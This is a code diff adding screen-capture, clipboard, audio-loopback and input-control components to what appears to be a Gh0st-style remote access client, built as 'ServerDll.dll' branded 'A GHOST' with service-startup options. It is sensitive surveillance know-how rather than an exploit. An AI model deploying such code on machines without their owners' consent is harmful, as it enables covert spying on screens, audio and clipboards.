|
||||
class IOCPClient;
|
||||
|
||||
struct UserParam;
|
||||
|
||||
class CScreenManager : public CManager
|
||||
{
|
||||
public:
|
||||
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr, BOOL priv=FALSE);
|
||||
virtual ~CScreenManager();
|
||||
HANDLE m_hWorkThread;
|
||||
ScreenSettings m_ScreenSettings = { 20 };
|
||||
QualityProfile m_QualityProfiles[QUALITY_COUNT]; // 本地质量配置(可被服务端覆盖)
|
||||
|
||||
virtual void InitScreenSpy();
|
||||
void LoadQualityProfiles(); // 从配置文件加载质量配置
|
||||
void SaveQualityProfiles(); // 保存质量配置到配置文件
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
VOID SendBitMapInfo();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
ScreenCapture* m_ScreenSpyObject;
|
||||
VOID SendFirstScreen();
|
||||
const char* GetNextScreen(ULONG &ulNextSendLength);
|
||||
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
|
||||
|
||||
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
|
||||
UserParam *m_pUserParam = NULL;
|
||||
INT_PTR m_ptrUser;
|
||||
HDESK g_hDesk;
|
||||
BOOL m_isGDI;
|
||||
std::string m_DesktopID;
|
||||
BOOL m_bIsWorking;
|
||||
BOOL m_bIsBlockInput;
|
||||
BOOL SendClientClipboard(BOOL fast);
|
||||
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
||||
|
||||
std::string m_hash;
|
||||
std::string m_hmac;
|
||||
CONNECT_ADDRESS *m_conn = nullptr;
|
||||
uint64_t m_MyClientID = 0; // V2: 本机客户端ID
|
||||
void SetConnection(CONNECT_ADDRESS* conn)
|
||||
{
|
||||
m_conn = conn;
|
||||
if (conn) m_MyClientID = conn->clientID;
|
||||
}
|
||||
bool IsRunAsService() const
|
||||
{
|
||||
if (m_conn && (m_conn->iStartup == Startup_GhostMsc || m_conn->iStartup == Startup_TestRunMsc))
|
||||
return true;
|
||||
static BOOL is_run_as_system = IsRunningAsSystem();
|
||||
return is_run_as_system;
|
||||
}
|
||||
// 获取当前活动桌面(带写权限,用于锁屏等安全桌面)
|
||||
// 使用独立的静态变量避免与WorkThreadProc的g_hDesk并发冲突
|
||||
HDESK s_inputDesk = NULL;
|
||||
clock_t s_lastCheck = 0;
|
||||
DWORD s_lastThreadId = 0;
|
||||
|
||||
bool SwitchScreen();
|
||||
bool RestartScreen();
|
||||
void SwitchToNextWindow(); // 切换到下一个窗口(类似 Alt+Tab)
|
||||
virtual BOOL OnReconnect();
|
||||
uint64_t m_nReconnectTime = 0; // 重连开始时间
|
||||
uint64_t m_DlgID = 0;
|
||||
BOOL m_SendFirst = FALSE;
|
||||
|
||||
// 虚拟桌面
|
||||
BOOL m_virtual;
|
||||
POINT m_point;
|
||||
POINT m_lastPoint;
|
||||
BOOL m_lmouseDown;
|
||||
HWND m_hResMoveWindow;
|
||||
LRESULT m_resMoveType;
|
||||
BOOL m_rmouseDown; // 标记右键是否按下
|
||||
POINT m_rclickPoint; // 右键点击坐标
|
||||
HWND m_rclickWnd; // 右键窗口
|
||||
int m_nSwitchWindowIndex = 0; // 切换窗口索引
|
||||
|
||||
// ========== 系统音频捕获 (WASAPI Loopback) ==========
|
||||
volatile BOOL m_bAudioThreadRunning = FALSE;// 音频线程运行标志(独立于视频线程)
|
||||
volatile BOOL m_bAudioInitialized = FALSE; // WASAPI 是否已初始化
|
||||
HANDLE m_hAudioThread = NULL; // 音频线程句柄
|
||||
HANDLE m_hAudioEvent = NULL; // 控制线程挂起/唤醒
|
||||
|
||||
// WASAPI 相关
|
||||
IMMDevice* m_pAudioDevice = nullptr;
|
||||
IAudioClient* m_pAudioClient = nullptr;
|
||||
IAudioCaptureClient* m_pCaptureClient = nullptr;
|
||||
void* m_pWaveFormat = nullptr; // 实际类型: WAVEFORMATEX*
|
||||
|
||||
BOOL InitWASAPILoopback(); // 初始化 WASAPI Loopback
|
||||
void UninitWASAPI(); // 释放 WASAPI 资源
|
||||
static DWORD WINAPI AudioThreadProc(LPVOID lpParam); // 音频捕获线程
|
||||
void HandleAudioCtrl(BYTE enable, BYTE persist); // 处理音频控制命令
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
||||
162
client/ScreenSpy.cpp
Normal file
162
client/ScreenSpy.cpp
Normal file
@@ -0,0 +1,162 @@
|
||||
// ScreenSpy.cpp: implementation of the CScreenSpy class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ScreenSpy.h"
|
||||
#include "Common.h"
|
||||
#include <stdio.h>
|
||||
#include <common/iniFile.h>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all) :
|
||||
ScreenCapture(ulbiBitCount, algo, all)
|
||||
{
|
||||
m_GOP = gop;
|
||||
|
||||
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
|
||||
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
|
||||
int maxWidth = cfg.GetInt("settings", "ScreenWidth", 0);
|
||||
m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full);
|
||||
m_nInstructionSet = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||
|
||||
Mprintf("CScreenSpy: strategy=%d, maxWidth=%d, fullWidth=%d, algo=%d\n",
|
||||
strategy, maxWidth, m_BitmapInfor_Send->bmiHeader.biWidth, m_bAlgorithm);
|
||||
|
||||
if (strategy == 1) {
|
||||
// strategy=1: 用户明确选择原始分辨率
|
||||
Mprintf("CScreenSpy: 使用原始分辨率\n");
|
||||
} else if (maxWidth > 0 && maxWidth < m_BitmapInfor_Send->bmiHeader.biWidth) {
|
||||
// maxWidth>0: 自定义 maxWidth,等比缩放(自适应质量使用)
|
||||
float ratio = (float)maxWidth / m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = maxWidth;
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = (LONG)(m_BitmapInfor_Send->bmiHeader.biHeight * ratio);
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage =
|
||||
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
|
||||
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
Mprintf("CScreenSpy: 自定义分辨率 %dx%d\n",
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
} else {
|
||||
// strategy=0 或 maxWidth=0: 默认 1080p 限制
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth);
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage =
|
||||
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
|
||||
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
Mprintf("CScreenSpy: 1080p 限制 %dx%d\n",
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
}
|
||||
|
||||
m_hDeskTopDC = GetDC(NULL);
|
||||
|
||||
m_BitmapData_Full = NULL;
|
||||
m_hFullMemDC = CreateCompatibleDC(m_hDeskTopDC);
|
||||
m_BitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||
::SelectObject(m_hFullMemDC, m_BitmapHandle);
|
||||
m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
|
||||
|
||||
m_DiffBitmapData_Full = NULL;
|
||||
m_hDiffMemDC = CreateCompatibleDC(m_hDeskTopDC);
|
||||
m_DiffBitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
||||
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
||||
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_BmpZoomFirst = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_FirstBuffer = scaleBitmap(m_BmpZoomFirst, m_FirstBuffer);
|
||||
|
||||
m_bVirtualPaint = vDesk;
|
||||
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
|
||||
}
|
||||
|
||||
|
||||
CScreenSpy::~CScreenSpy()
|
||||
{
|
||||
if (m_BitmapInfor_Full != NULL) {
|
||||
delete m_BitmapInfor_Full;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
}
|
||||
|
||||
ReleaseDC(NULL, m_hDeskTopDC);
|
||||
|
||||
if (m_hFullMemDC!=NULL) {
|
||||
DeleteDC(m_hFullMemDC);
|
||||
|
||||
::DeleteObject(m_BitmapHandle);
|
||||
if (m_BitmapData_Full!=NULL) {
|
||||
m_BitmapData_Full = NULL;
|
||||
}
|
||||
|
||||
m_hFullMemDC = NULL;
|
||||
}
|
||||
|
||||
if (m_hDiffMemDC!=NULL) {
|
||||
DeleteDC(m_hDiffMemDC);
|
||||
|
||||
::DeleteObject(m_DiffBitmapHandle);
|
||||
if (m_DiffBitmapData_Full!=NULL) {
|
||||
m_DiffBitmapData_Full = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
if (m_RectBuffer) {
|
||||
delete[] m_RectBuffer;
|
||||
m_RectBuffer = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||
{
|
||||
ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
|
||||
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_BitmapData_Full);
|
||||
memcpy(1 + m_RectBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
}
|
||||
*ulFirstScreenLength = m_BitmapInfor_Send->bmiHeader.biSizeImage;
|
||||
|
||||
return m_RectBuffer; //内存
|
||||
}
|
||||
|
||||
|
||||
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||
{
|
||||
if (m_bVirtualPaint) {
|
||||
// 先用深色填充背景,避免窗口移动时留下残影
|
||||
RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight };
|
||||
HBRUSH hBrush = CreateSolidBrush(RGB(30, 30, 30)); // 深灰色背景
|
||||
FillRect(hdcDest, &rcFill, hBrush);
|
||||
DeleteObject(hBrush);
|
||||
|
||||
int n = 0;
|
||||
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
|
||||
Mprintf("EnumWindowsTopToDown failed: %d!!! GetLastError: %d\n", n, GetLastError());
|
||||
Sleep(50);
|
||||
}
|
||||
return;
|
||||
}
|
||||
AUTO_TICK(70, "");
|
||||
#if COPY_ALL
|
||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, m_iScreenX, m_iScreenY, SRCCOPY);
|
||||
#else
|
||||
const ULONG ulJumpLine = 50;
|
||||
const ULONG ulJumpSleep = ulJumpLine / 10;
|
||||
|
||||
for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump) {
|
||||
ULONG ulv1 = ulHeight - i;
|
||||
|
||||
if (ulv1 > ulJumpLine)
|
||||
ulToJump = ulJumpLine;
|
||||
else
|
||||
ulToJump = ulv1;
|
||||
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY);
|
||||
Sleep(ulJumpSleep);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
255
client/ScreenSpy.h
Normal file
255
client/ScreenSpy.h
Normal file
@@ -0,0 +1,255 @@
|
||||
// ScreenSpy.h: interface for the CScreenSpy class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||
#define AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#define COPY_ALL 1 // 拷贝全部屏幕,不分块拷贝(added by yuanyuanxiang 2019-1-7)
|
||||
#include "CursorInfo.h"
|
||||
#include "ScreenCapture.h"
|
||||
#include <dwmapi.h>
|
||||
#pragma comment(lib, "dwmapi.lib")
|
||||
|
||||
|
||||
class EnumHwndsPrintData
|
||||
{
|
||||
public:
|
||||
EnumHwndsPrintData()
|
||||
{
|
||||
memset(this, 0, sizeof(EnumHwndsPrintData));
|
||||
}
|
||||
void Create(HDC desktop, int _x, int _y, int w, int h)
|
||||
{
|
||||
x = _x;
|
||||
y = _y;
|
||||
width = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
height = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
hDcWindow = CreateCompatibleDC(desktop);
|
||||
hBmpWindow = CreateCompatibleBitmap(desktop, width, height);
|
||||
}
|
||||
EnumHwndsPrintData& SetScreenDC(HDC dc)
|
||||
{
|
||||
hDcScreen = dc;
|
||||
return *this;
|
||||
}
|
||||
~EnumHwndsPrintData()
|
||||
{
|
||||
if (hDcWindow) DeleteDC(hDcWindow);
|
||||
hDcWindow = nullptr;
|
||||
if (hBmpWindow)DeleteObject(hBmpWindow);
|
||||
hBmpWindow = nullptr;
|
||||
}
|
||||
HDC GetWindowDC() const
|
||||
{
|
||||
return hDcWindow;
|
||||
}
|
||||
HDC GetScreenDC() const
|
||||
{
|
||||
return hDcScreen;
|
||||
}
|
||||
HBITMAP GetWindowBmp() const
|
||||
{
|
||||
return hBmpWindow;
|
||||
}
|
||||
int X() const
|
||||
{
|
||||
return x;
|
||||
}
|
||||
int Y() const
|
||||
{
|
||||
return y;
|
||||
}
|
||||
int Width()const
|
||||
{
|
||||
return width;
|
||||
}
|
||||
int Height()const
|
||||
{
|
||||
return height;
|
||||
}
|
||||
private:
|
||||
HDC hDcWindow;
|
||||
HDC hDcScreen;
|
||||
HBITMAP hBmpWindow;
|
||||
int x;
|
||||
int y;
|
||||
int width;
|
||||
int height;
|
||||
};
|
||||
|
||||
class CScreenSpy : public ScreenCapture
|
||||
{
|
||||
protected:
|
||||
HDC m_hDeskTopDC; // 屏幕上下文
|
||||
HDC m_hFullMemDC; // 上一个上下文
|
||||
HDC m_hDiffMemDC; // 差异上下文
|
||||
HBITMAP m_BitmapHandle; // 上一帧位图
|
||||
HBITMAP m_DiffBitmapHandle; // 差异帧位图
|
||||
PVOID m_BitmapData_Full; // 当前位图数据
|
||||
PVOID m_DiffBitmapData_Full; // 差异位图数据
|
||||
|
||||
BOOL m_bVirtualPaint;// 是否虚拟绘制
|
||||
EnumHwndsPrintData m_data;
|
||||
|
||||
public:
|
||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE);
|
||||
|
||||
virtual ~CScreenSpy();
|
||||
|
||||
int GetWidth()const
|
||||
{
|
||||
return m_ulFullWidth;
|
||||
}
|
||||
|
||||
int GetHeight() const
|
||||
{
|
||||
return m_ulFullHeight;
|
||||
}
|
||||
|
||||
bool IsZoomed() const
|
||||
{
|
||||
return m_bZoomed;
|
||||
}
|
||||
|
||||
double GetWZoom() const
|
||||
{
|
||||
return m_wZoom;
|
||||
}
|
||||
|
||||
double GetHZoom() const
|
||||
{
|
||||
return m_hZoom;
|
||||
}
|
||||
|
||||
const LPBITMAPINFO& GetBIData() const
|
||||
{
|
||||
return m_BitmapInfor_Send;
|
||||
}
|
||||
|
||||
ULONG GetFirstScreenLength() const
|
||||
{
|
||||
return m_BitmapInfor_Send->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
static BOOL PaintWindow(HWND hWnd, EnumHwndsPrintData* data)
|
||||
{
|
||||
if (!IsWindowVisible(hWnd) || IsIconic(hWnd))
|
||||
return TRUE;
|
||||
|
||||
RECT rect;
|
||||
if (!GetWindowRect(hWnd, &rect))
|
||||
return FALSE;
|
||||
|
||||
// 检查是否为菜单窗口
|
||||
char className[32] = {};
|
||||
GetClassNameA(hWnd, className, sizeof(className));
|
||||
BOOL isMenu = (strcmp(className, "#32768") == 0);
|
||||
|
||||
// 获取不含 DWM 阴影的真实窗口边界(Windows 10 窗口有透明阴影导致黑边)
|
||||
// 菜单窗口不使用 DWM 裁剪
|
||||
RECT frameRect = rect;
|
||||
BOOL hasDwmFrame = FALSE;
|
||||
if (!isMenu) {
|
||||
hasDwmFrame = SUCCEEDED(DwmGetWindowAttribute(hWnd, DWMWA_EXTENDED_FRAME_BOUNDS,
|
||||
&frameRect, sizeof(frameRect)));
|
||||
}
|
||||
|
||||
HDC hDcWindow = data->GetWindowDC();
|
||||
HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp());
|
||||
|
||||
// 对于某些现代应用(WinUI 3 等),需要先请求重绘
|
||||
RedrawWindow(hWnd, NULL, NULL, RDW_INVALIDATE | RDW_UPDATENOW);
|
||||
|
||||
BOOL captured = PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT);
|
||||
if (!captured) {
|
||||
// PrintWindow 失败,尝试不带 PW_RENDERFULLCONTENT
|
||||
captured = PrintWindow(hWnd, hDcWindow, 0);
|
||||
}
|
||||
if (!captured) {
|
||||
// 仍然失败,尝试 WM_PRINT
|
||||
captured = SendMessageTimeout(hWnd, WM_PRINT, (WPARAM)hDcWindow,
|
||||
PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL) != 0;
|
||||
}
|
||||
if (!captured) {
|
||||
char title[128] = {};
|
||||
GetWindowTextA(hWnd, title, sizeof(title));
|
||||
Mprintf("PrintWindow failed: %s [%s]\n", className, title);
|
||||
}
|
||||
|
||||
if (captured) {
|
||||
if (hasDwmFrame) {
|
||||
// 使用真实边界(不含阴影),从 PrintWindow 输出的正确偏移位置复制
|
||||
int shadowLeft = frameRect.left - rect.left;
|
||||
int shadowTop = frameRect.top - rect.top;
|
||||
int realWidth = frameRect.right - frameRect.left;
|
||||
int realHeight = frameRect.bottom - frameRect.top;
|
||||
BitBlt(data->GetScreenDC(), frameRect.left - data->X(), frameRect.top - data->Y(),
|
||||
realWidth, realHeight, hDcWindow, shadowLeft, shadowTop, SRCCOPY);
|
||||
} else {
|
||||
// 菜单和其他窗口使用原始方式
|
||||
BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(),
|
||||
rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
|
||||
}
|
||||
}
|
||||
// 即使捕获失败也返回 TRUE,避免阻止其他窗口的绘制
|
||||
SelectObject(hDcWindow, hOldBmp);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static int EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param)
|
||||
{
|
||||
HWND currentWindow = GetTopWindow(owner);
|
||||
if (currentWindow == NULL)
|
||||
return -1;
|
||||
if ((currentWindow = GetWindow(currentWindow, GW_HWNDLAST)) == NULL)
|
||||
return -2;
|
||||
while (proc(currentWindow, param) && (currentWindow = GetWindow(currentWindow, GW_HWNDPREV)) != NULL);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam)
|
||||
{
|
||||
AUTO_TICK_C(100, "");
|
||||
if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) {
|
||||
char text[_MAX_PATH] = {};
|
||||
GetWindowText(hWnd, text, sizeof(text));
|
||||
Mprintf("PaintWindow %s[%p] failed!!!\n", text, hWnd);
|
||||
}
|
||||
|
||||
static OSVERSIONINFOA versionInfo = { sizeof(OSVERSIONINFOA) };
|
||||
static BOOL result = GetVersionExA(&versionInfo);
|
||||
if (versionInfo.dwMajorVersion < 6) {
|
||||
DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE);
|
||||
SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED);
|
||||
EnumWindowsTopToDown(hWnd, EnumHwndsPrint, lParam);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
|
||||
|
||||
virtual LPBYTE ScanNextScreen()
|
||||
{
|
||||
ScanScreen(m_hDiffMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
|
||||
LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_DiffBitmapData_Full);
|
||||
return (LPBYTE)bmp;
|
||||
}
|
||||
|
||||
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||
|
||||
// 重置桌面 DC(桌面切换时调用)
|
||||
void ResetDesktopDC()
|
||||
{
|
||||
ReleaseDC(NULL, m_hDeskTopDC);
|
||||
m_hDeskTopDC = GetDC(NULL);
|
||||
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
|
||||
}
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||
149
client/Script.rc
Normal file
149
client/Script.rc
Normal file
@@ -0,0 +1,149 @@
|
||||
// Microsoft Visual C++ generated resource script.
|
||||
//
|
||||
#include "resource.h"
|
||||
|
||||
#define APSTUDIO_READONLY_SYMBOLS
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 2 resource.
|
||||
//
|
||||
#include "afxres.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#undef APSTUDIO_READONLY_SYMBOLS
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// 中文(简体,中国) resources
|
||||
|
||||
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
|
||||
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
||||
#pragma code_page(936)
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Dialog
|
||||
//
|
||||
|
||||
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
||||
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
CAPTION "消息提示"
|
||||
FONT 10, "System", 0, 0, 0x0
|
||||
BEGIN
|
||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||
END
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// DESIGNINFO
|
||||
//
|
||||
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
GUIDELINES DESIGNINFO
|
||||
BEGIN
|
||||
IDD_DIALOG, DIALOG
|
||||
BEGIN
|
||||
END
|
||||
END
|
||||
#endif // APSTUDIO_INVOKED
|
||||
|
||||
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// TEXTINCLUDE
|
||||
//
|
||||
|
||||
1 TEXTINCLUDE
|
||||
BEGIN
|
||||
"resource.h\0"
|
||||
END
|
||||
|
||||
2 TEXTINCLUDE
|
||||
BEGIN
|
||||
"#include ""afxres.h""\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
3 TEXTINCLUDE
|
||||
BEGIN
|
||||
"\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
#endif // APSTUDIO_INVOKED
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// WAVE
|
||||
//
|
||||
|
||||
IDR_WAVE WAVE "Res\\msg.wav"
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Version
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,3,1
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
FILEFLAGS 0x1L
|
||||
#else
|
||||
FILEFLAGS 0x0L
|
||||
#endif
|
||||
FILEOS 0x40004L
|
||||
FILETYPE 0x2L
|
||||
FILESUBTYPE 0x0L
|
||||
BEGIN
|
||||
BLOCK "StringFileInfo"
|
||||
BEGIN
|
||||
BLOCK "080404b0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.3.1"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
VALUE "ProductName", "A GHOST"
|
||||
VALUE "ProductVersion", "1.0.0.1"
|
||||
END
|
||||
END
|
||||
BLOCK "VarFileInfo"
|
||||
BEGIN
|
||||
VALUE "Translation", 0x804, 1200
|
||||
END
|
||||
END
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Icon
|
||||
//
|
||||
|
||||
// Icon with lowest ID value placed first to ensure application icon
|
||||
// remains consistent on all systems.
|
||||
IDI_ICON_MAIN ICON "Res\\ghost.ico"
|
||||
|
||||
IDI_ICON_MSG ICON "Res\\msg.ico"
|
||||
|
||||
#endif // 中文(简体,中国) resources
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
#ifndef APSTUDIO_INVOKED
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 3 resource.
|
||||
//
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#endif // not APSTUDIO_INVOKED
|
||||
|
||||
213
client/ScrollDetector.h
Normal file
213
client/ScrollDetector.h
Normal file
@@ -0,0 +1,213 @@
|
||||
// ScrollDetector.h: Scroll detection for screen capture optimization
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#ifndef SCROLL_DETECTOR_H
|
||||
#define SCROLL_DETECTOR_H
|
||||
|
||||
#include <cstdint>
|
||||
#include <cstring>
|
||||
#include <algorithm>
|
||||
#include "../common/commands.h"
|
||||
|
||||
// Scroll detection parameters
|
||||
#define MIN_SCROLL_LINES 16 // Minimum scroll lines to detect (increased to reduce noise)
|
||||
#define MAX_SCROLL_RATIO 4 // Maximum scroll = height / MAX_SCROLL_RATIO
|
||||
#define MATCH_THRESHOLD 85 // Percentage of rows that must match (increased for stability)
|
||||
|
||||
// Horizontal scroll direction constants (for future use)
|
||||
#define SCROLL_DIR_LEFT 2
|
||||
#define SCROLL_DIR_RIGHT 3
|
||||
|
||||
// CRC32 lookup table for row hashing
|
||||
static uint32_t crc32_table[256] = { 0 };
|
||||
static bool crc32_table_initialized = false;
|
||||
|
||||
inline void InitCRC32Table()
|
||||
{
|
||||
if (crc32_table_initialized) return;
|
||||
|
||||
for (uint32_t i = 0; i < 256; i++) {
|
||||
uint32_t crc = i;
|
||||
for (int j = 0; j < 8; j++) {
|
||||
crc = (crc >> 1) ^ ((crc & 1) ? 0xEDB88320 : 0);
|
||||
}
|
||||
crc32_table[i] = crc;
|
||||
}
|
||||
crc32_table_initialized = true;
|
||||
}
|
||||
|
||||
inline uint32_t ComputeCRC32(const uint8_t* data, size_t length)
|
||||
{
|
||||
uint32_t crc = 0xFFFFFFFF;
|
||||
for (size_t i = 0; i < length; i++) {
|
||||
crc = (crc >> 8) ^ crc32_table[(crc ^ data[i]) & 0xFF];
|
||||
}
|
||||
return crc ^ 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
class CScrollDetector
|
||||
{
|
||||
private:
|
||||
uint32_t* m_prevRowHashes; // Hash for each row of previous frame
|
||||
uint32_t* m_currRowHashes; // Hash for each row of current frame
|
||||
int m_width; // Frame width in pixels
|
||||
int m_height; // Frame height in pixels
|
||||
int m_bytesPerPixel; // Bytes per pixel (typically 4 for BGRA)
|
||||
int m_stride; // Bytes per row
|
||||
int m_lastScrollAmount; // Last detected scroll amount
|
||||
|
||||
public:
|
||||
CScrollDetector(int width, int height, int bpp = 4)
|
||||
